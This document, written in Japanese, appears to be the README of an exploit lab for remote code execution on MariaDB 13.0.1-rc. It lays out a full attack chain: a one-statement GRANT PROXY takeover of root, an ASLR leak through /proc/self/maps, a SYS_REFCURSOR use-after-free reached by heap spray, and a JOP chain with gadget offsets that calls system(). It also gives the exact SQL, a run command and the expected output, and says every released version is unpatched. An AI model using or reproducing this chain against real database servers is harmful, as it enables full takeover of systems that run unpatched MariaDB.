
MariaDB 13.0.1-rc RCEラボ — 標準のDockerイメージ上でuid 999(mysql)としてsystem()への権限昇格 + ヒープUAF + JOPチェーン。RAPTORおよびraptor-loop-huntで発見。
未改変の標準 MariaDB 13.0.1-rc Docker イメージ上で、uid 999 (mysql) としてリモートコード実行を行います。
2つのエクスプロイト亜種:
| 亜種 | ファイル | 要件 | 備考 |
|---|---|---|---|
| Pure SQL(推奨) | exploit_pure_sql.py | 低権限 MariaDB アカウント + TCP | ホストアクセス不要、docker 不要、/proc/mem 不要、root パスワード不要 |
| ホスト支援型 PoC | exploit.py | Docker ホスト上の root | /proc/<pid>/mem 経由で JOP チェーンを書き込み |
検証・実証済み: mariadb@sha256:ef34af04bda12e6c85395328af78d562176c34fb29ae52063a4eb0d68fa7b3e9
(4/4 回実行、毎回新しい ASLR ベース)。
exploit_pure_sql.py)攻撃者が保持するのは 以下のみ:
lowpriv ユーザー)+ そのパスワード、およびチェーン全体は SQL ステートメントとして実行されます。ホスト側のプロセスアクセスも、docker コマンドも、既知のアドレスも不要です。実行時の全アドレスは、SQL 経由でターゲット自身から学習します:
1. F-09 GRANT PROXY ON CURRENT_USER() TO 'root'@'%' IDENTIFIED VIA ''
-> any user becomes full DBA (root account hijacked, empty password).
One statement, no privileges required.
2. LOAD DATA INFILE '/proc/self/maps' INTO TABLE ...
-> server-side file read (FILE priv, secure_file_priv unset on stock)
leaks PIE base and libc base = real ASLR defeat. The bases change
on every run and are read from the live process.
3. SET @fake = REPEAT(CHAR(0xDE), 134217728) (128 MiB user variable)
-> glibc dedicates a mmap region (0x8001000, data at +0x30).
Its address is discovered by diffing /proc/self/maps before/after
the allocation - from SQL. No /proc/<pid>/mem involved.
4. SET @fake = CONCAT(REPEAT(...), UNHEX('<JOP layout>'), REPEAT(...))
-> the complete JOP chain (D2, D1, system(), command string) is
written by SQL at allocation time. The self-referential pointer
[V+0xa8] = V+0x140 is baked in using the address found in step 3;
glibc reuses the exact same mmap slot when the buffer is
reallocated, so the address stays stable (verified each iteration,
re-baked if ever moved).
5. F-05 SYS_REFCURSOR UAF + heap spray (spray128/grow5/uaf5, stock binary)
-> the freed 1792-byte cursor array is reclaimed with a 1784-byte
blob carrying V at offset 0x20; virtual dispatch
result->prepare() -> D2 -> D1 -> system("sh -c '<cmd>'")
executes the command as uid 999(mysql).
6. Proof: the command writes a marker; server crashes right after system()
returns (mariadbd is PID 1 -> container exits). Restart the container and
read the marker.
残る 非 SQL 操作はポストエクスプロイトの後片付けのみです: (すでにクラッシュした)コンテナの再起動とマーカーファイルの表示。これらはエクスプロイトの一部ではありません。
# start the lab
docker compose up -d
# run the exploit from anywhere with TCP access - no host access needed
python3 exploit_pure_sql.py --host 192.168.1.119 --port 3306 \
--user lowpriv --password lowpriv \
--command "id > /tmp/pwned" --marker /tmp/pwned \
--container mariadb-rce-lab
必要なのは mariadb/mysql クライアントと Python 3 のみ。--container は最終的なマーカー表示(再起動 + cat)に使用され、別の方法でマーカーを確認する場合は省略可能です。
期待される出力の末尾:
[*] ============ FIRING (CALL uaf5) ============
[*] session died as expected after RCE: no sentinel within 10s; got: b''
[*] waiting for marker /tmp/pwned ...
[+] /tmp/pwned: uid=999(mysql) gid=999(mysql) groups=999(mysql)
[+] ===========================================
[+] RCE CONFIRMED (pure SQL, lowpriv account)
[+] ===========================================
GRANT PROXY ON ''@'' TO 'root'@'localhost' IDENTIFIED VIA '' はすべての権限チェックをバイパスします。空の認証句により LEX_USER::has_auth() が false を返す(check_alter_user() をスキップ)一方、replace_user_table() は依然として空パスワードを適用し、root の資格情報を置き換えます。SQL 1 ステートメント、任意の認証済みユーザー、リリース済みの全 MariaDB バージョンで有効。
/proc/self/maps による ASLR 回避LOAD DATA INFILE '/proc/self/maps' は SQL 内から mariadbd プロセスの完全なメモリレイアウトを読み取り、PIE ベースと libc ベースのアドレスを明らかにします。標準イメージの secure_file_priv = NULL(未設定)で動作します。
sp_cursor_array::get_cursor_by_ref() は、Dynamic_array の内部ポインタを返します。このバッキングストレージは、成長時に my_realloc によって再配置されます。カーソルの open() メソッドが攻撃者制御の SQL を実行して追加のカーソルを開くと、配列が成長し、古いストレージが解放され、呼び出し側がキャッシュしたポインタはダングリングになります。
解放されたチャンク(16 カーソル × 112 バイト = 1792 バイト)は、それぞれ 1784 バイトのユーザー変数コピー 128 個のヒープスプレーで回収されます(glibc チャンクへの exact-fit)。スプレーペイロードは、制御された vtable ポインタをオフセット 0x20(sp_cursor の result メンバー)に配置し、これが仮想ディスパッチに使用されます:
Materialized_cursor::open() -> result->prepare()
-> mov rax, [result] ; rax = attacker's vtable pointer (V)
-> call [rax + 0x20] ; calls D2 gadget (prepare() vtable slot)
標準の mariadbd バイナリ由来の 2 つの JOP ガジェット(ROP なし、スタックピボットなし):
| ガジェット | オフセット | 命令 | 目的 |
|---|---|---|---|
| D2 | PIE+0x80da77 | call *0x100(%rax) | スタックアラインメント修正 |
| D1 | PIE+0xe3075b | mov rdi,[rax+0xa8]; call [rax+0xa0] |
偽の vtable V は 128 MiB バッファ内に存在します。レイアウト:
V+0x20 = D2 (prepare() vtable slot)
V+0xa0 = system() (libc+0x5c560)
V+0xa8 = V+0x140 (pointer to command string -> rdi)
V+0x100 = D1 (JOP dispatcher)
V+0x140 = "sh -c '<cmd>'\0"
バッファアドレスを知る前に自己参照 JOP データを書き込むという鶏と卵の問題は、glibc の mmap 動作によって解決されます:
/proc/self/maps の差分で発見/proc/self/maps の再読み取りで検証。アドレスが移動した場合、自己参照を再焼き込みして書き込みを再試行(実際には 1 回の反復で収束)同じチェーンですが、JOP レイアウトは Docker ホストから /proc/<pid>/mem 経由でプロセスに書き込まれ(root が必要)、ペイロードスクリプトは docker exec で作成され、compose ファイルの root パスワードで接続します。歴史的 PoC として保持。Pure SQL 亜種がこれを置き換えます。
sql/sp_cursor.{cc,h} へのコミットはゼロ)。dbd60d0ad8d、MDEV-40470)は開発ブランチにありますが、リリース版には一切含まれていません(13.0.1 から 10.6.27 まで検証済み)。SET GLOBAL max_allowed_packet を引き上げ、新しい接続を使用)。DATA_OFF を更新)。| 旧ヘルパー(exploit.py) | Pure SQL での置き換え |
|---|
docker inspect → PID + ホスト側 /proc/<pid>/maps | LOAD DATA INFILE '/proc/self/maps' |
ホスト側 /proc/<pid>/mem への JOP チェーン書き込み | 割り当て時に CONCAT/UNHEX でレイアウトを埋め込み。アドレスは SQL 側の maps 差分から取得。mmap スロット再利用により自己参照が有効に保たれる |
docker exec ... echo CMD > /tmp/payload_cmd.sh | コマンド文字列を JOP レイアウトに直接埋め込み |
mariadb -uroot -plabpass(root パスワード) | 低権限アカウントからの GRANT PROXY 昇格 |
docker exec ... cat MARKER | 証明の表示にのみ使用 |
| cmd ポインタをロードし system() を呼び出し |